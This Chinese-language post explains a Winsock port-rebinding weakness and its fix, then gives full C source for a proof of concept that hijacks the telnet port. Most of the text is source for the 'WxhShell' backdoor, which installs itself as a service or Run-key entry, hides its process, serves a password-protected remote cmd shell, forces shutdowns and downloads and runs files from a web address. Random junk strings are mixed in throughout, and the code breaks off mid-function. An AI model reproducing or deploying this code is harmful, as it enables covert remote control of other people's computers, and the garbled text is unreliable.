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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Y_B(R s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G Kr
L 8Sa<I.l saddr.sin_family = AF_INET; ;'kH<Iq d0d2QRX saddr.sin_addr.s_addr = htonl(INADDR_ANY); YVi]f2F% NgKNT}JDv bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #e[5O|V~ i\b2P2
`B 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :csLZqn[ {s]eXc]K} 这意味着什么?意味着可以进行如下的攻击: gB#t"s) <T>f@Dn, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 WqO*vK!t c"r( l~fc 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2vLn# #kA+Yqy\) 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &M0v/!%L C;|Ru* 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 2Qy&V/E ?
BN0))p 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |{(ynZ]R &H6Fkza;4 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 QQJcvaQ ;nbvn 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L`BLkDm
6IA~bkc} #include `B~%TEvMh #include e BPMT #include "A7tb39* #include P t$7U[N DWORD WINAPI ClientThread(LPVOID lpParam); hO8B]4=&* int main() a,.9eHf { ESAh(A)8 WORD wVersionRequested; y!j1xnzki DWORD ret; \BA_PyS?W+ WSADATA wsaData; (Y%}N(Jg BOOL val; {.AFg/Z SOCKADDR_IN saddr; 6aL`^^ SOCKADDR_IN scaddr; &f$jpIyVX int err; !#QD;,SE+ SOCKET s; OWU]gh@r SOCKET sc; }0
Z3Lrv int caddsize; ugz1R+f_4{ HANDLE mt; TSeAC[%pL DWORD tid; 3't?%$'5 wVersionRequested = MAKEWORD( 2, 2 ); wp$=lU{B err = WSAStartup( wVersionRequested, &wsaData ); G 7u85cie if ( err != 0 ) { ]M.ufbg uq printf("error!WSAStartup failed!\n"); '(?@R5a return -1; ]GJskBm } 'sC{d&c saddr.sin_family = AF_INET; LYT0 XB)A ^(%>U!<<%, //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .[7m4iJf Kgcg:r: saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `C3F?Lch saddr.sin_port = htons(23); "qF8'58 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GCrMrZ6 { ,+XQ!y% printf("error!socket failed!\n"); vjW S35i return -1; 1'h?qv^( } `eA 0Z:`g! val = TRUE;
X@B+{IFC //SO_REUSEADDR选项就是可以实现端口重绑定的 &}WSfZ0{ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *ood3M[M^ { vg<_U&N=-r printf("error!setsockopt failed!\n"); 3oj30L. return -1; HG3jmI+u> } H4UnF5G //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; + IMP< //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _:T\[sz5 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 18~j>fN w1.~N`g$ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |@ia(U~ { 'Z';$N ] ret=GetLastError(); ~Oolm_+{} printf("error!bind failed!\n"); o9JJ_-O" return -1; }a8N!g } 3+IS7ATn listen(s,2); c#_%|gg while(1) $OmtN" { ]:F]VRPT caddsize = sizeof(scaddr); p0b&CrALx //接受连接请求 $uboOfS83G sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >LLFe~9`g if(sc!=INVALID_SOCKET) h)sc-e { G'! Hc6OZ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); VXC_Y if(mt==NULL) *<J**FhcMu { ]^dXB0 printf("Thread Creat Failed!\n"); ?(F~9V break; \;4RD$J } RP6QS )| } bBGLf)fsTG CloseHandle(mt); t1xX B^.M{ } a&j
H9 closesocket(s); g8^ $, WSACleanup(); Fq~de%y return 0; { 2-w<t } $H?v DWORD WINAPI ClientThread(LPVOID lpParam) =>&d[G[m! { L,n'G% SOCKET ss = (SOCKET)lpParam; Bp9
u6R SOCKET sc; By%aTuV$ unsigned char buf[4096]; ;vuok]@ SOCKADDR_IN saddr; I6\l6 o long num; [(]uin+9Q DWORD val; 2: fSn&*/> DWORD ret; (T,ST3{*k //如果是隐藏端口应用的话,可以在此处加一些判断 IU&n!5d$)| //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 (.Sj"6+ saddr.sin_family = AF_INET; .7{,u1N' saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R9k
Z# saddr.sin_port = htons(23); l{6fR(d ? if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (tys7og$' { _K'YaZTa;~ printf("error!socket failed!\n"); 5s8k^n"A return -1; fAXF_wj } ?bY'J6n. val = 100; @r=O~x if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $5(co)C { .a?GC( ret = GetLastError(); T=9+ return -1; dQTJC
%]O } H&l/o if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DdPU\ ZWR { Lk4gjs,V ret = GetLastError(); 1InG%=jLo return -1; XXvM*"3D5 } 1ih|b8)Dn if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
y3kXfSe { 0rooL<~fa printf("error!socket connect failed!\n"); _>0I9.[5 closesocket(sc); |}=xA%) closesocket(ss); bt"*@NJ$ return -1; Iy'a2@
} x+47CDDu3 while(1) kect)=T( { 0"LJ{:plz //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Nn>Oq+: //如果是嗅探内容的话,可以再此处进行内容分析和记录 ??)IPRv?yF //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uL`_Sdjw num = recv(ss,buf,4096,0); k,OP*M if(num>0) DOyYy~Q send(sc,buf,num,0); i1}Y;mj else if(num==0) PS**d$ S break; [<rV
"g num = recv(sc,buf,4096,0); W:'H&`0 if(num>0) G*JasHFs send(ss,buf,num,0); wa2?%y_G else if(num==0) !UDTNF?1 break; :;HJ3V; } &C6Z-bS" closesocket(ss); LB$#]
Z closesocket(sc); Z7J8%ywQ return 0 ; K+p7yZJ } `r+zNJ@q 4zzJ5,S 1 gLy1*k4 ========================================================== }fU"s" Lk#8G>U 下边附上一个代码,,WXhSHELL Qv~lH&jG e#BxlC ========================================================== 4c0 =\v {Dup k0'( #include "stdafx.h" Xw)W6H| %=e^MN1 #include <stdio.h> h&}z@ #include <string.h> 7wKT:~~oS3 #include <windows.h> VN]70LFz*i #include <winsock2.h> L.X"wIs^ #include <winsvc.h> 8Mg wXH #include <urlmon.h> Qa>t$`o` 21_sg f? #pragma comment (lib, "Ws2_32.lib") [&eG>zF" #pragma comment (lib, "urlmon.lib") -Ph"#R& bS7%%8C #define MAX_USER 100 // 最大客户端连接数 @?e+;Sx #define BUF_SOCK 200 // sock buffer QN)EPS:y #define KEY_BUFF 255 // 输入 buffer Q!.JV.( xU9T8Lw #define REBOOT 0 // 重启 5d|hP4fEc #define SHUTDOWN 1 // 关机 <aSjK# 1K\zamBg #define DEF_PORT 5000 // 监听端口 #|-i*2@oR As"%
u #define REG_LEN 16 // 注册表键长度 M5c$ #define SVC_LEN 80 // NT服务名长度 4fSGc8 o@2Y98~Q} // 从dll定义API o 4P>t2' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &uP,w# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VRE[vM' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _O#R,Y2# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Yc^;?n`x iewwL7 // wxhshell配置信息 pmfL}Dn struct WSCFG { FIu|eW+<l int ws_port; // 监听端口 &+|bAn9AJ char ws_passstr[REG_LEN]; // 口令 o3C GG int ws_autoins; // 安装标记, 1=yes 0=no "vvv@sYxi char ws_regname[REG_LEN]; // 注册表键名 <~z@GMQCf char ws_svcname[REG_LEN]; // 服务名 40=*Ul U- char ws_svcdisp[SVC_LEN]; // 服务显示名 *{x8@|K8 char ws_svcdesc[SVC_LEN]; // 服务描述信息 tY@+d*u char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jEMnre3/ int ws_downexe; // 下载执行标记, 1=yes 0=no ;suY
char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" q8SHFKE char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \$+#7( K _*wkTI+j }; 4LXC;gZ #n_t5 O[ // default Wxhshell configuration 5J~@jPU struct WSCFG wscfg={DEF_PORT, o#uhPUZ "xuhuanlingzhe", #u"$\[ G 1, jI/#NCKE "Wxhshell", k|4}Do%; "Wxhshell", }y>/#]X "WxhShell Service", yU|=)p5 "Wrsky Windows CmdShell Service", fL(_V/p^ "Please Input Your Password: ", O%s7 }bR3 1, >zX`qv&> " http://www.wrsky.com/wxhshell.exe", &0x;60b "Wxhshell.exe" ^UmhSxQ## }; Qa#Em1co y/Ui6D // 消息定义模块 ;q?WU>c{? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p}]K0F!
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0u}+n+\g char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; +?'a2pUS char *msg_ws_ext="\n\rExit."; dnzZ\t>U char *msg_ws_end="\n\rQuit."; TUN6`/" char *msg_ws_boot="\n\rReboot..."; pnpf/T{xpM char *msg_ws_poff="\n\rShutdown..."; R+# g_"1@p char *msg_ws_down="\n\rSave to "; ,5&
Rra/ wd*V,ZN7 char *msg_ws_err="\n\rErr!"; h9Tst)iRi char *msg_ws_ok="\n\rOK!"; e'X"uH Xt. XyYP!<].C char ExeFile[MAX_PATH]; K!a7Hg int nUser = 0; {W'{A HANDLE handles[MAX_USER]; O:j=L{,d^ int OsIsNt; q|_Cj]{ ;>CM1 SERVICE_STATUS serviceStatus; II]-mb SERVICE_STATUS_HANDLE hServiceStatusHandle; RveEA/&& mXT{c=N)w // 函数声明 $C
t(M) int Install(void); ef K
WR int Uninstall(void); KBI36=UV int DownloadFile(char *sURL, SOCKET wsh); NQx>u int Boot(int flag); eIcIl2 void HideProc(void); @NYlVk2 int GetOsVer(void); .h-k*F0Ga) int Wxhshell(SOCKET wsl); (V>/[Ev void TalkWithClient(void *cs); x-T7
tr&( int CmdShell(SOCKET sock); nNhb,J int StartFromService(void); 1`2lq~=GV int StartWxhshell(LPSTR lpCmdLine); G&q@B`I :gM_v?sy VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ts &sr
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~.Er \iH\N/ // 数据结构和表定义 .2
}5Dc,eR SERVICE_TABLE_ENTRY DispatchTable[] = ?
@- t.N { 9gFfbvd {wscfg.ws_svcname, NTServiceMain}, 5Z_aN|Xn {NULL, NULL} _N"c,P0 }; Q"k #eEA _|>bOI // 自我安装 _#yd0E int Install(void) Of;$
VK' { eC='[W<a. char svExeFile[MAX_PATH]; $-uMWJ)l HKEY key; :+<GJj_d+ strcpy(svExeFile,ExeFile); $aY:Z_s DfZ)gqp/Av // 如果是win9x系统,修改注册表设为自启动 \|7Y"WEQ if(!OsIsNt) { pnGDM)H7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^o(C\\>{& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LIh71Vg/cc RegCloseKey(key); `;Xwv) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K 5AArI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ym
wb2]M RegCloseKey(key); =k2"1f~e return 0; s x) x7 } #{~3bgY } gcF V$ } y^:6D(SR else { W;T(q~XK +ooQ-Gh // 如果是NT以上系统,安装为系统服务 L8cPNgZ
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lT+N{[kLt* if (schSCManager!=0) 6AKT-r. { iI@(Bl] SC_HANDLE schService = CreateService `cqZ;(^ ( J1d|L|M schSCManager, 5wI j:s wscfg.ws_svcname, tVHQ$jJY% wscfg.ws_svcdisp, zfA"xD SERVICE_ALL_ACCESS, IWnyqt(k SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k(wJ6pc SERVICE_AUTO_START, An=Q`Uxt/ SERVICE_ERROR_NORMAL, /i
IWt\J svExeFile, @,SN8K0T NULL, fj[tm NULL, }J] P`v NULL, XaYgl&x'!x NULL, p/?TU NULL 'p4b8:X ); }>m3V2>[ if (schService!=0) N4wMAT:h { &$. x1$% CloseServiceHandle(schService); lPn&,\9@~ CloseServiceHandle(schSCManager); V5]:^= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^jg{MTa strcat(svExeFile,wscfg.ws_svcname); dMoN19F if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vA#?\j2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Kvh6D" RegCloseKey(key); YL@d+
-\ return 0; 1~9AQ[]w8 } ;aUI3n% } G9jlpf5> CloseServiceHandle(schSCManager); !@@rO--& } `*Jw[Bnh8 } Xj;5i
Vq Ge4tc return 1; 9p9-tJfH. } R,ddH[3 Lz;E/a}s // 自我卸载 -u%'u~s int Uninstall(void) P8;f^3V(+/ { ;AE%f.Y HKEY key; fa;GM7<e) D(gpF85t if(!OsIsNt) { -QP&A >]7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QLAyX*%B RegDeleteValue(key,wscfg.ws_regname); TkV$h(#!f& RegCloseKey(key); *!x/ia9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +hd1|qa4 RegDeleteValue(key,wscfg.ws_regname); P%xz"l i RegCloseKey(key); `-)Fx<e return 0; o)IcAqN$H } 5A*'@Fr'G } pI{s
)|" } parC~)b_ else { fY9/u = /'0,cJnm SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -}r(75C if (schSCManager!=0) YK|Y^TU^ { d
3}'J SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); od~`q4p1(- if (schService!=0) Ue0Q| h { 7Om)uUjU4 if(DeleteService(schService)!=0) { !;YQQ<D CloseServiceHandle(schService); i*%2 e) CloseServiceHandle(schSCManager); }V
%b return 0; \^%5! } ]qk/V:H: CloseServiceHandle(schService); 4 4kb } ?4}EhXR( CloseServiceHandle(schSCManager); r.;(Kx/M } 8yc?9&/| } zVs|go>F 7<VfE`Q3 return 1; ~+Da`Wp } wuTCdBu6hU i iZK^/P$ // 从指定url下载文件 :cK;|{f int DownloadFile(char *sURL, SOCKET wsh) /A) v$Bv= { a4M`Bk;mb HRESULT hr; R!.HS0i. char seps[]= "/"; c~UYs\ char *token; _;+N=/l0 char *file; $0K%H char myURL[MAX_PATH]; 0IEFCDeCO char myFILE[MAX_PATH]; ^R4eW|H k6 f;A strcpy(myURL,sURL); ,/g\;#:{@] token=strtok(myURL,seps); nNff~u)I while(token!=NULL) K*Tvo` { (FAd'$lhX} file=token; {1
94u%' token=strtok(NULL,seps); x 1"ikp} } =pS\gLQu 4GRmo"S GetCurrentDirectory(MAX_PATH,myFILE); -j_J1P0, strcat(myFILE, "\\"); 8}W06k>)% strcat(myFILE, file); :1wMGk send(wsh,myFILE,strlen(myFILE),0); ?y{C"w!
send(wsh,"...",3,0); s:/.:e_PU hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); , eZL&n if(hr==S_OK) @kKmkVhu* return 0; ; (+r)r_ else b\w88=| return 1; $V)LGu2(m ]4>[y?k34 } 7o+!Gts] =7mR#3yt // 系统电源模块 HYPFe|t/ int Boot(int flag) +B@NSEy/+ { S!n
9A HANDLE hToken; VBssn]w TOKEN_PRIVILEGES tkp; 3EcmNwr <z|? C if(OsIsNt) { G?]E6R OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EhybaRy;C LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?fEX&t,' tkp.PrivilegeCount = 1; 2eu`X2IBcT tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [hS?d.D AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QWf)5S if(flag==REBOOT) { \6Ze H if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O.E return 0; [lA[wCw } q$`:/ ehw else { LxVd7r VY6 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u
hP0Zwn return 0; HJ5m5':a } lq_W;L } 5e,Dk0d else { W&4`eB/4} if(flag==REBOOT) { H9w*U if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @X/S
h: return 0; l#o43xr
} Em@h5V else { B<[;rk if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E!VAA= return 0; [JVI@1T } FV$= l
% } tb0XXEE ]+':=&+: return 1; );z}T0C } %MP s}B [NvEXTd // win9x进程隐藏模块 _'H<zZo void HideProc(void) "\BP+AF { :<&}/r =pcj{B{qa HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n/?5[O-D] if ( hKernel != NULL ) 7Nwi\#o { \MtiLaI" pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~~zw[#' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ! qcu-d5b FreeLibrary(hKernel); $hSu~}g } *-|+phim TKLy38 return; 31>k3IP& } G>mgoN
A]U] // 获取操作系统版本 ;$&-c/]F# int GetOsVer(void) L''0`a. +S { :
1fik OSVERSIONINFO winfo; UWn}0:6t winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i8B%|[nm GetVersionEx(&winfo); cfeX(0 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +X*`}-3 return 1; FYcMvY else ZVp\5V* return 0; 7Xad2wXn } @su{Uno8/ qfSoF| // 客户端句柄模块 fSqbGoIQ int Wxhshell(SOCKET wsl) dBlOU.B { U*&ZQw SOCKET wsh; {yb\p9q{Yo struct sockaddr_in client; YRp\#pVnZ DWORD myID; J82{PfQ" o@>c[knJ while(nUser<MAX_USER) Etu>z+P! { xD\Km>|i int nSize=sizeof(client); doR'=@ W wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (v4 if(wsh==INVALID_SOCKET) return 1; 5GJ0E Z'X z)VIbEy handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "]_|c\98 if(handles[nUser]==0) -/gS s<" closesocket(wsh); "DlCvjc else @eTsS%f2 nUser++; +cV!=gDT } (J$A WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K<]fElh- ]R4)FH|>< return 0; HJJ^pk& } xu:m~8% g
Go // 关闭 socket #h3+T*5} 6 void CloseIt(SOCKET wsh) 4{vd6T}V! { \PLV]%3, closesocket(wsh); <;6]) nUser--; D@^F6am% ExitThread(0); bf74 " } :T\WYKX3C QhGg^h%6 // 客户端请求句柄 Rm*}<JN31 void TalkWithClient(void *cs) y2 +a2 { =O;SXzgE @l(Y6m|v\ SOCKET wsh=(SOCKET)cs; jYy0^)6X( char pwd[SVC_LEN]; _"sRL}-Z char cmd[KEY_BUFF]; w@: ]]R char chr[1]; &1h3o^K int i,j; dJLJh*=AG m_(hCY=Q$ while (nUser < MAX_USER) { kH&ZPAI fjWh}w8 if(wscfg.ws_passstr) { gNqV>p if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2YN`:" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c"YK+2 //ZeroMemory(pwd,KEY_BUFF); 0&.lSwa i=0; q9
;\B& while(i<SVC_LEN) { xF/D YXC{8 .HQ<6k:
// 设置超时 og\XLJ}_ fd_set FdRead; x>J3tp$2 struct timeval TimeOut; WvJ?e FD_ZERO(&FdRead); Pu^~]^W) FD_SET(wsh,&FdRead); 5i^vN"J TimeOut.tv_sec=8; tbPPI)lu TimeOut.tv_usec=0; p&4n3%(R@ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZWa#}VS}-n if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f
oVD+\~Y )j6>b-H if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *h4m<\^U pwd =chr[0]; Eo Urc9G2 if(chr[0]==0xd || chr[0]==0xa) { <!N;(nZ9}O pwd=0; z}8YrVr@ break; j?,*fp8 } u W|x)g11a i++; -*lP1Nbp } A C^[3 ,xz^k/. // 如果是非法用户,关闭 socket vQ/\BN if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *_QHtZG } NNE,|
: ;iORfUjxrq send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K D-_~uIF send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PbPP1G') ]= NYvv>H while(1) { X}-H=1T? )A0&16< ZeroMemory(cmd,KEY_BUFF);
7q:bBS 0tqR wKL // 自动支持客户端 telnet标准 ee_\_" j=0; Tqa4~|6 while(j<KEY_BUFF) { 5tU"|10m3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5)zB/Ta< cmd[j]=chr[0]; nTU~M~gky if(chr[0]==0xa || chr[0]==0xd) { ?03Zy3/ cmd[j]=0; 2jZ}VCzRG break; 48g^~{T4O } JYr7;n'! j++; }AiS83B } YhT1P fl nh=Us^xD // 下载文件 arLl8G[ if(strstr(cmd,"http://")) { (<C%5xk send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6h_ k`z if(DownloadFile(cmd,wsh)) |<|,RI? send(wsh,msg_ws_err,strlen(msg_ws_err),0); aTh%oBrtP else s~$4bN>LD send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (YJAT } #=H}6!18 else { JX)z<Dz$ Cj1UD; switch(cmd[0]) { B^(rUR $l;tP // 帮助 DiQkT R case '?': { GQ0 (&I send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W79A4l< break; c'+r[rSn1 } ;]M67ma7C // 安装 'D"K`Vw case 'i': { R[9PFMn if(Install()) (MoTG^MrBY send(wsh,msg_ws_err,strlen(msg_ws_err),0); '%!M>rY, else =Xjuz:9D~ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r)5\3j[P break; A] ?O&m| } c;rp@_ULG? // 卸载 U\8#Qvghf case 'r': { q7 oR9 if(Uninstall()) [E~,> Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); EjX'&"3. else !en F8a send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #KNq:@wp6 break; gZEA;N:H%< } DVoV:pk // 显示 wxhshell 所在路径 q&$0i case 'p': { CotMV^ char svExeFile[MAX_PATH]; Z)O>h^0 strcpy(svExeFile,"\n\r"); Eb[H3v48, strcat(svExeFile,ExeFile); D^s0EW-E send(wsh,svExeFile,strlen(svExeFile),0); ;]ShC\1 break; ;~:Ryl M } q AVfbcb // 重启 .(dmuV9 case 'b': { /9+A97{ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A Wh*<H if(Boot(REBOOT)) lZA>L,
\d send(wsh,msg_ws_err,strlen(msg_ws_err),0); aho<w+l@ else { HA.NZkq.tV closesocket(wsh); EOnp!]Y ExitThread(0); ?> M oV5 } YeExjC break; ua|Z`qUyq } fAM4Q // 关机 jbhJ;c : case 'd': { x\bR j>%( send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W8yfa[z~J if(Boot(SHUTDOWN)) ;Q>3N( send(wsh,msg_ws_err,strlen(msg_ws_err),0); W3V{Xk| else { LYy:IBI7_ closesocket(wsh); T3t~=b>&L ExitThread(0); Ul713Bjz } {8Jk=)(md break; <#p|z`N } -KwL9J4u // 获取shell ilRm}lU|x case 's': { %QsSR'` CmdShell(wsh); .xz,pn} closesocket(wsh); +z jzO]8 ExitThread(0); >_0 i=.\ break; Q"6hD?6. } e7bT%h9i // 退出 &^3~=$
case 'x': { ?`
eYWZ"> send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9{UP)17 CloseIt(wsh); ^8-~@01.`_ break; k|$"TFXx; } }u3H4S<o // 离开 $>h!J.t case 'q': { nA_
zP4 send(wsh,msg_ws_end,strlen(msg_ws_end),0); A D}}>v closesocket(wsh); 22Y!u00D WSACleanup(); lGnql 1( exit(1); ,'1Olu{v[s break; a._^E/EV } %$Jqt } _> |R-vQ8 } V:F+HMBk Ef_F#X0# // 提示信息 L=$?q/=- if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -M1~iOb } c6Yf"~TD0 } csFJ5 1IF'>* return; *t?~)o7 } J+cAS/MYX {Ukc D+.Y // shell模块句柄 }[KDE{,V int CmdShell(SOCKET sock) 6&
&} P79 { Pi"~/MGP$ STARTUPINFO si; iFwyh`Bcg ZeroMemory(&si,sizeof(si)); YM`:L si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #GY&$8.u* si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 38*'8=Y#> PROCESS_INFORMATION ProcessInfo; $&xuVBs char cmdline[]="cmd"; ||'i\X|[ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N[a ljC-R return 0; Gdf1+mi } XAQ\OX# %TW%|"v // 自身启动模式 ~`~%(DA= int StartFromService(void) z)ft3(! { 0279g typedef struct 4Wi8$ { 9+'@ DWORD ExitStatus; M}=s3[d(, DWORD PebBaseAddress; #7-kL7 MK] DWORD AffinityMask; \8> DWORD BasePriority; 0\EpH[m}- ULONG UniqueProcessId; k%Ma4_Z ULONG InheritedFromUniqueProcessId; <m Ju v } PROCESS_BASIC_INFORMATION; Qc&-\kQ:$u SLQ\Y%F PROCNTQSIP NtQueryInformationProcess; SG
